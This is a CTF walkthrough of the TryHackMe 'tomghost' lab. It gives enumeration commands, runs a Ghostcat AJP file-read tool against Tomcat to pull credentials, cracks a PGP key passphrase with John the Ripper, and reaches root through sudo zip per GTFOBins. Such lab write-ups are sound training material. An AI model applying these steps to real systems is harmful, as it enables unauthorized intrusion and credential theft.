# tomghost

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-MbaKc403b0vQ6Xg25l5%2F-MbaLMscdf2WBDGG5Q7F%2Findex.png?alt=media\&token=62d80e42-dfcf-408c-beba-0dae7525eb60)

As the description says, it is an Easy room from [tryHacMe](https://tryhackme.com/room/tomghost). Though the initial access was easy, but the Privilege escalation part is quite hard and tricky.&#x20;

### Enumeration

1\) First, masscan all port scan: **`masscan -e eth0 -p 1-65535 --rate=10000 -v 10.10.187.215`**

```
Discovered open port 22/tcp on 10.10.187.215                                   
Discovered open port 8080/tcp on 10.10.187.215                                 
Discovered open port 53/tcp on 10.10.187.215                                   
Discovered open port 8009/tcp on 10.10.187.215
```

2\) Now nmap scan: **`nmap -p 22,8080,53,8009 -sC -sV -v 10.10.187.215`**

```
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
|   256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_  256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (EdDSA)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http       Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache Tomcat/9.0.30
```

The **Tomcat 9.0.30** here, has an arbitrary file read vulnerability: [exploit-db](https://www.exploit-db.com/exploits/49039)&#x20;

3\) Visiting the webpage at port 8080 confirms the version:&#x20;

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-MbaKc403b0vQ6Xg25l5%2F-MbaLDcrTzZlc4mNAcfh%2Fimage.png?alt=media\&token=552c0ad5-f50f-4cba-83ec-85eec338e75c)

4\) Found a tool to read sensitive files using tomcat vulnerability: [GitHub Link](https://github.com/00theway/Ghostcat-CNVD-2020-10487)

5\) Set up the tools with execute permission:&#x20;

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-MbaLRvzsEgoquVvXj9R%2F-MbaQNe1Og6ZQq7Q5u4Q%2F1.png?alt=media\&token=d842a32b-295e-42db-af2b-ed4d32bf4f67)

Now run the tool: **`./ajpShooter.py`** [**`http://10.10.187.215:8080`**](http://10.10.187.215:8080) **`8009 /WEB-INF read`**

> * IP:8080 : tomcat running in this address
> * 8009 : enumerating the Jserv service running in port 8009
> * /WEB-INF : querying web information
> * read : read and show the info

Found an /index.txt

6\) Tried to read a common file:

**`./ajpShooter.py`** [**`http://10.10.187.215:8080`**](http://10.10.187.215:8080) **`8009 /WEB-INF/web.xml read`**

There found a name:password combination

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-MbaRbfS0-2ioKLohMq3%2F-MbaTK9soVAqVZ6g6YxF%2F2.png?alt=media\&token=fc1b354a-46db-4953-958f-ecae60541656)

### Exploitation

7\) Easily exploited using ssh: **`ssh skyfuck@10.10.187.215`**

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-MbaTNo-do-VYzaa6umg%2F-MbaU7YgE9wqs1LWvqfy%2Fimage.png?alt=media\&token=e9c5aa04-afa4-44f6-8d0a-0e16e87754ae)

8\) The **user.txt** is in another user directory&#x20;

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-MbaTNo-do-VYzaa6umg%2F-MbaUuSc5PIsAhew-c2n%2F3.png?alt=media\&token=c82e620e-3ff5-4bce-bde1-250b6f68084e)

### Privilege escalation

9\) Failed attempt

> * can not list the user with sudo access : sudo -l
> * /etc/shadow and /etc/passwd has no write access&#x20;
> * can not download and run any automation tool inside the machine
> * skyfuck has no sudo access but **merlin** has

10\) I have failed using other way to enumerate. But I found that there is pgp (Pretty Good Privacy) file and ASCII armour

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-MbabhqZjfD9NoyFdQyG%2F-Mbae8Q4Tz3546b1coSG%2F4.png?alt=media\&token=81e61339-2cde-4419-aa4b-62b84ffe9637)

11\) First trying to import the ASCII armour as a key: **`gpg --import tryhackme.asc`** then trying to decrypt the pgp: **`gpg --decrypt credential.pgp`**  (But this also asks for passphrase)

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-MbabhqZjfD9NoyFdQyG%2F-Mbag88ELxUSMArxbc30%2F5.png?alt=media\&token=ac33a1aa-2334-4bda-8b2e-1f9595a96532)

12\) Downloading the **.asc** in attack box and try to convert. This gives me a hash

> 1. Download: **`scp skyfuck@10.10.187.215:tryhackme.asc /tmp`**
> 2. Convert: **`/opt/john/gpg2john /tmp/tryhackme.asc > /tmp/hash`**

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-MbabhqZjfD9NoyFdQyG%2F-MbaiRCT6bgMcXnV1O_D%2F6.png?alt=media\&token=121c7f68-d122-4b9d-847a-1fff9edbfb91)

13\) Cracking the hash: **`john --format=gpg --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash`**

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-MbabhqZjfD9NoyFdQyG%2F-MbajUYTccN_JnfTr52v%2F7.png?alt=media\&token=beaedb5f-7565-470d-9804-a4b99a626cbc)

14\) Now paste it to the another running shell of the machine. This shows merlin's password

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-MbabhqZjfD9NoyFdQyG%2F-MbakJGWvID7vlbmccYK%2F8.png?alt=media\&token=1683d76e-409b-483e-b706-bf8190d4d3b8)

15\) I can log in as merlin : **`su merlin`**

and merlin has sudo access: **`sudo -l`** (to zip)

16\) [GTFOBins](https://gtfobins.github.io/gtfobins/zip/) shows the payload using zip. I have modified a little and this gives me root access

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-MbabhqZjfD9NoyFdQyG%2F-Mban5CGMjMyc22ipCWO%2Ffr.png?alt=media\&token=c179bd71-cbef-4b92-87eb-75fc28ecf606)
